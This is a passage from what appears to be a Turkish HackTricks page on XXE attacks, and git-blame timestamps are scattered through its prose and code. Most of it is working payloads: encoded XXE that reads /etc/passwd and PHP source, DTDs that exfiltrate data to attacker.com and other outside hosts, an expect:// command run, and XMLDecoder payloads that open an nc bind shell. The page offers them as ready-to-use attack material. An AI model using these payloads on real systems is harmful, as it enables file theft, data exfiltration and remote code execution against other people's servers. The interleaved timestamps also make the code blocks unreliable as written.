+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
```
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
### Dosya:/ Protokolü Atlatma
Eğer web PHP kullanıyorsa, `file:/` yerine **php sarmalayıcıları** `php://filter/convert.base64-encode/resource=` kullanarak **dahili dosyalara erişebilirsiniz**.
2021-08-23 12:33:52 +00:00
Eğer web Java kullanıyorsa [**jar: protokolüne**](xxe-xee-xml-external-entity.md#jar-protocol) bakabilirsiniz.
2021-08-23 12:33:52 +00:00
### HTML Varlıkları
2021-08-23 12:33:52 +00:00
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) adresinden bir hile\
**Varlık içinde bir varlık** oluşturabilir ve onu **html varlıkları** ile kodlayarak **bir dtd yüklemek** için çağırabilirsiniz.\
Kullanılan **HTML Varlıklarının** **sayısal** olması gerektiğini unutmayın (örneğin \[bu örnekte]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
2024-02-06 03:10:38 +00:00
```xml
2022-04-05 22:24:52 +00:00
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
2021-08-23 12:33:52 +00:00
<data>
2024-02-10 18:14:16 +00:00
<env>&exfil;</env>
2021-08-23 12:33:52 +00:00
</data>
```
2024-02-10 18:14:16 +00:00
DTD örneği:
2024-02-06 03:10:38 +00:00
```xml
2021-08-23 12:33:52 +00:00
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
```
## PHP Sargılayıcıları
2022-09-30 10:43:59 +00:00
### Base64
**Çıkart** _**index.php**_
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
#### **Harici kaynağı çıkartma**
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```
### Uzaktan kod yürütme
2024-02-10 18:14:16 +00:00
**Eğer PHP "expect" modülü yüklenmişse**
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
2024-02-10 18:14:16 +00:00
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
```
## **SOAP - XEE**
2024-02-06 03:10:38 +00:00
```xml
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
```
2022-09-30 10:43:59 +00:00
## XLIFF - XXE
2021-07-20 10:48:25 +00:00
Bu örnek, [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) adresinden ilham alınarak oluşturulmuştur.
2021-07-20 10:48:25 +00:00
XLIFF (XML Localization Interchange File Format), veri değişimini standartlaştırmak için kullanılan bir formattır. Genellikle yerelleştirme süreçlerinde yerelleştirilebilir verilerin araçlar arasında transferi için kullanılan XML tabanlı bir formattır ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak kullanılır.
2021-07-20 10:48:25 +00:00
2024-02-10 18:14:16 +00:00
### Kör İstek Analizi
2021-07-20 10:48:25 +00:00
Sunucuya aşağıdaki içerikle bir istek gönderilir:
2024-02-06 03:10:38 +00:00
```xml
2021-07-20 10:48:25 +00:00
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Ancak, bu istek iç sunucu hatası tetikler ve özellikle işaretleme deklarasyonları ile ilgili bir sorundan bahseder:
2024-02-05 02:29:11 +00:00
```json
2021-07-20 10:48:25 +00:00
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
Hata olmasına rağmen, Burp İşbirlikçisinde bir vuruş kaydedilir ve dış varlıkla bir tür etkileşim olduğunu gösterir.
2021-07-20 10:48:25 +00:00
Veri Dışarı Aktarma Dış Bandından veri dışarı aktarmak için değiştirilmiş bir istek gönderilir:
2024-02-05 02:29:11 +00:00
```
2021-07-20 10:48:25 +00:00
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Bu yaklaşım, Kullanıcı Aracısının Java 1.8'in kullanıldığını gösterdiğini ortaya koyar. Bu Java sürümünün bir kısıtlaması, /etc/passwd gibi bir yeni satır karakteri içeren dosyaları Out of Band tekniğini kullanarak alamamasıdır.
2021-07-20 10:48:25 +00:00
Hata Tabanlı Veri Sızdırma Bu kısıtlamayı aşmak için Hata Tabanlı bir yaklaşım kullanılır. Hedef dosyadan veri içeren bir hatayı tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır:
2024-02-05 02:29:11 +00:00
```xml
2021-07-20 10:48:25 +00:00
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
```
Sunucu, hata ile yanıt verir, önemli olan olmayan dosyayı yansıtarak, sunucunun belirtilen dosyaya erişmeye çalıştığını gösterir:
2021-07-20 10:48:25 +00:00
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
2024-02-10 18:14:16 +00:00
Hata mesajında dosyanın içeriğini dahil etmek için DTD dosyası ayarlanır:
2024-02-05 02:29:11 +00:00
```xml
2021-07-20 10:48:25 +00:00
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
```
Bu değişiklik, dosyanın içeriğinin başarılı bir şekilde dışarı sızdırılmasına yol açar, çünkü HTTP aracılığıyla gönderilen hata çıktısında yansıtılır. Bu, hassas bilgileri çıkarmak için Hem Bağlam Dışı Hem de Hata Tabanlı teknikleri kullanan başarılı bir XXE (XML Dış Entity) saldırısını gösterir.
2021-07-20 10:48:25 +00:00
2022-09-30 10:43:59 +00:00
## RSS - XEE
XXE zafiyetini sömürmek için RSS formatındaki geçerli XML.
### Geri İletme
Saldırganın sunucusuna basit bir HTTP isteği
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
### Dosya okuma
XML dış varlık enjeksiyonu (XXE) saldırıları, kötü niyetli XML dış varlıklarını yüklemek için kullanılır. Bu saldırılar, hedef sistemin hassas bilgilerini ifşa etmek veya hedef sistemdeki dosyaları okumak gibi zararlı eylemleri gerçekleştirmek için kullanılabilir.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
### Kaynak kodunu okuyun
2024-02-10 18:14:16 +00:00
PHP base64 filtresi kullanarak
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
2022-09-30 10:43:59 +00:00
## Java XMLDecoder XEE to RCE
XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın **readObject** yöntemine keyfi verileri kullanmasını sağlayabilirse, sunucuda anında kod yürütme yetkisine sahip olacaktır.
2024-02-10 18:14:16 +00:00
### Runtime().exec() Kullanımı
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
2024-02-10 18:14:16 +00:00
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
```
2022-09-30 10:43:59 +00:00
### ProcessBuilder
### ProcessBuilder
Bu sınıf, işletim sisteminde yeni bir işlem başlatmak için kullanılır. Ayrıca, işlemle etkileşim kurmak için giriş ve çıkış akışlarını yönlendirmek için de kullanılabilir.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
2024-02-10 18:14:16 +00:00
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
```
2024-02-10 18:14:16 +00:00
## Araçlar
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
2024-02-10 18:14:16 +00:00
## Referanslar
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
* Kendi harici DTD'sini kullanarak HTTP üzerinden bilgi çıkarma: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
2024-02-06 03:10:38 +00:00
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2024-02-03 14:45:32 +00:00
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>